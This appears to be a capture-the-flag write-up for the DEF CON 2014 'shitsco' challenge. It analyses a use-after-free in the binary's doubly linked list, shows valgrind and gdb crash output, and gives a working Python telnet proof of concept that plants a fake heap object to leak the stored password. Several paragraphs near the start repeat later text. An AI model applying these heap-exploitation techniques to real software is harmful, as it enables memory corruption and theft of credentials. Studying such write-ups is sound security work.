This one again is 32 bit ELF protected with NX and Canary. The binary implements some operations as below:
The operations done on the linked list is below:
[*] Elements can be added
[*] Elements can be updated
[*] Elements can be removed
Structure declaration:
[*] When a value is added, the key value is checked by traversing the linked list nodes one by one. This starts with head in bss
[*] When head->key is NULL, its always allocated
[*] When key and value are set and key is already present is linked list, then update operation is performed
[*] When key is set and value is not set and key is already present is linked list, delete operation is done.
The vulnerability:
[*] Head node in bss does not clear/update its next pointer when its reallocated
[*] When head is reallocated the previous node pointer of next node is not re-linked
This results in next pointer of head element pointing to stray memory, resulting is use-after-free.
Now to exploit this issue, we need to reallocate user controlled data right in the place of Object B. The size of node is 16 bytes. The binary allocates string in heap using strdup() call. strdup() calls malloc internally as malloc(strlen(char *string) + 1). So by supplying 16 byte data, we could reallocate the freed object with 'set' command.
Below is the trigger to do so:
Now to get flag using this vulnerability, the adminbit at 0x0804C3C0 could be set and 'flag' command can be used to read flag. The use-after-free can be used to perform arbitrary write using the doubly-linked list delete operation.
Updated:
What we could have done is set 0x804C3A0 as key:value pair for the reallocated object. 0x804C3A0 stores the password read from '/home/shitsco/password' and 'show' command would have printed this info.
Below is the POC to read password using UAF:
Welcome to Shitsco Internet Operating System (IOS) For a command list, enter ? $ ? ==========Available Commands========== |enable | |ping | |tracert | |? | |shell | |set | |show | |credits | |quit | ====================================== Type ? followed by a command for more detailed informationOut of this, set and show commands where interesting. This is implemented using a doubly linked list. We re-wrote the routine at 0x08048EF0 which implements the data structure, to find the vulnerability.
The operations done on the linked list is below:
[*] Elements can be added
[*] Elements can be updated
[*] Elements can be removed
Structure declaration:
struct node { char *name; char *valu; struct node *next; struct node *prev; }; struct node init; // first node is allocated in bss struct node *iter = &init;Now, below is the code to handle these procedures:
/* First Variable */ if (var_valu != NULL && iter->name == NULL) { iter->name = strdup(var_name); iter->valu = strdup(var_valu); return; // iter->next is not cleared/patched during reallocation of head/next leading to use-after-free } /* iter->next->prev is not set to iter on reallocation */ /* Add Variable - Always added to end of list */ if (iter->name != NULL && iter->next == NULL) { iter->next = (struct node *)calloc(1,16); iter->next->prev = iter; iter->next->name = strdup(var_name); iter->next->valu = strdup(var_valu); // iter->next->next not set to NULL, with calloc this is not an issue } /* Delete Variable */ if (var_valu == NULL) { if (iter->prev == NULL && iter->next != NULL) // first node { iter->next->prev = NULL; } else if (iter->next != NULL && iter->prev != NULL) // intermediate node { iter->prev->next = iter->next; iter->next->prev = iter->prev; } else if (iter->prev != NULL && iter->next == NULL) // last node { iter->prev->next = NULL; } free(iter->valu); // Only node free(iter->name); iter->name = NULL; iter->valu = NULL; // iter->next is not set to NULL during delete if (iter != init) { free(iter); } } /* Update variable */ if (var_valu != NULL) { free(iter->valu); iter->valu = strdup(var_valu); }Some observations are:
[*] When a value is added, the key value is checked by traversing the linked list nodes one by one. This starts with head in bss
[*] When head->key is NULL, its always allocated
[*] When key and value are set and key is already present is linked list, then update operation is performed
[*] When key is set and value is not set and key is already present is linked list, delete operation is done.
The vulnerability:
[*] Head node in bss does not clear/update its next pointer when its reallocated
[*] When head is reallocated the previous node pointer of next node is not re-linked
This results in next pointer of head element pointing to stray memory, resulting is use-after-free.
Allocate 3 objects: NULL<- A <-> B <-> C -> NULL Delete A: NULL<-(A) -> B <-> C -> NULL B's prev pointer is set to NULL, A's next pointer is stray Allocate A: NULL<- A -> B <-> C -> NULL B's prev pointer is not set to point to A Delete B: NULL<- A -> (B) -> C -> NULL since B's prev pointer is NULL, C's prev reference is set to NULL, thinking its the first element. A's next pointer is not cleared and free(B) is called leaving stray pointers in the linked list.
[root@renorobert Defcon2014]# valgrind --leak-check=full --show-reachable=yes ./shitsco_c8b1aa31679e945ee64bde1bdb19d035 For a command list, enter ? $ set A BBBB $ set B CCCC $ set C DDDD $ set A $ set A EEEE $ set B $ show A: EEEE ==20202== Invalid read of size 4 ==20202== at 0x8048E98: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) -> mov eax, [ebx]; EBX is free in ShowValue ==20202== by 0x8048B95: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) -> call dword ptr [ebp+10h] ==20202== by 0x80488C6: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) -> call Cmd_Parse ==20202== by 0x199CC5: (below main) (in /lib/libc-2.12.so) ==20202== Address 0x402c388 is 0 bytes inside a block of size 16 free'd ==20202== at 0x400694F: free (vg_replace_malloc.c:446) ==20202== by 0x80494BC: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) -> call SetValue : Free'd during SetValue ==20202== by 0x8048B95: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) ==20202== by 0x80488C6: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) ==20202== by 0x199CC5: (below main) (in /lib/libc-2.12.so) ==20202== ==20202== Invalid read of size 4 ==20202== at 0x8048EBD: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) -> mov edx, [ebx+4]; EBX is free in ShowValue ==20202== by 0x8048B95: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) ==20202== by 0x80488C6: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) ==20202== by 0x199CC5: (below main) (in /lib/libc-2.12.so) ==20202== Address 0x402c390 is 8 bytes inside a block of size 16 free'd ==20202== at 0x400694F: free (vg_replace_malloc.c:446) ==20202== by 0x80494BC: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) ==20202== by 0x8048B95: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) ==20202== by 0x80488C6: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) ==20202== by 0x199CC5: (below main) (in /lib/libc-2.12.so) ==20202== C: DDDDWe could see that values are read from free'd heap due to stray pointers.
Now to exploit this issue, we need to reallocate user controlled data right in the place of Object B. The size of node is 16 bytes. The binary allocates string in heap using strdup() call. strdup() calls malloc internally as malloc(strlen(char *string) + 1). So by supplying 16 byte data, we could reallocate the freed object with 'set' command.
Below is the trigger to do so:
set AAAAAAAAAAAAAAA0 AAAAAAAAAAAAAAAA set AAAAAAAAAAAAAAA1 AAAAAAAAAAAAAAAA set AAAAAAAAAAAAAAA2 AAAAAAAAAAAAAAAA set AAAAAAAAAAAAAAA4 AAAAAAAAAAAAAAAA set AAAAAAAAAAAAAAA0 set AAAAAAAAAAAAAAA0 AAAAAAAAAAAAAAAA set AAAAAAAAAAAAAAA1 set AAAAAAAAAAAAAAA4 set BBBBBBBBBBBBBBBB CCCCCCCCCCCCCCCC show
[root@renorobert Defcon2014]# cat trigger | ./shitsco_c8b1aa31679e945ee64bde1bdb19d035 Core was generated by `./shitsco_c8b1aa31679e945ee64bde1bdb19d035'. Program terminated with signal 11, Segmentation fault. #0 0x001c5c91 in vfprintf () from /lib/libc.so.6 gdb-peda$ info registers eax 0x0 0x0 ecx 0xffffffff 0xffffffff edx 0x43434343 0x43434343 ebx 0x30aff4 0x30aff4 esp 0xffed0bdc 0xffed0bdc ebp 0xffed1168 0xffed1168 esi 0x30b4e0 0x30b4e0 edi 0x43434343 0x43434343 eip 0x1c5c91 0x1c5c91We could see that the free'd 2nd object is occupied by string CCCCCCCCCCCCCCCC and head object's next pointer points to this memory.eflags 0x10246 [ PF ZF IF RF ] cs 0x23 0x23 ss 0x2b 0x2b ds 0x2b 0x2b es 0x2b 0x2b fs 0x0 0x0 gs 0x63 0x63 gdb-peda$ x/i $eip => 0x1c5c91 : repnz scas al,BYTE PTR es:[edi]
Now to get flag using this vulnerability, the adminbit at 0x0804C3C0 could be set and 'flag' command can be used to read flag. The use-after-free can be used to perform arbitrary write using the doubly-linked list delete operation.
{ iter->prev->next = iter->next; iter->next->prev = iter->prev; }Fake Object should be like:
[Heap address of key][Heap address of value][User controlled address/Valid writable address][address of adminBit-8]With 'set "key"' as command, delete operation can be triggered so that iter->prev->next will set the adminBit. Then 'flag' can be used to read the flag. It was too late before we could trigger some info leak, to setup valid key:value address for free() call. Task went unsolved!
Updated:
What we could have done is set 0x804C3A0 as key:value pair for the reallocated object. 0x804C3A0 stores the password read from '/home/shitsco/password' and 'show' command would have printed this info.
Below is the POC to read password using UAF:
#!/usr/bin/env python import struct import telnetlib import time host = 'shitsco_c8b1aa31679e945ee64bde1bdb19d035.2014.shallweplayaga.me' port = 31337 host = '127.0.0.1' con = telnetlib.Telnet(host, port) t = con.read_until('$ ') print t fake_obj = struct.pack("<I", 0x08049B08) # set fake_obj += struct.pack("<I", 0x0804C3A0) # password fake_obj += struct.pack("<I", 0x0804C2C4) # valid Ptr to fake struct to prevent crash fake_obj += struct.pack("<I", 0x0804C3C4) con.write('set AAAAAAAAAAAAAAA0 AAAAAAAAAAAAAAAA\n') con.write('set AAAAAAAAAAAAAAA1 AAAAAAAAAAAAAAAA\n') con.write('set AAAAAAAAAAAAAAA2 AAAAAAAAAAAAAAAA\n') con.write('set AAAAAAAAAAAAAAA4 AAAAAAAAAAAAAAAA\n') con.write('set AAAAAAAAAAAAAAA0\n') con.write('set AAAAAAAAAAAAAAA0 AAAAAAAAAAAAAAAA\n') con.write('set AAAAAAAAAAAAAAA1\n') con.write('set AAAAAAAAAAAAAAA4\n') con.write('set BBBBBBBBBBBBBBBB ' + fake_obj + '\n') con.write('show set\n') time.sleep(2) t = con.read_very_eager() print t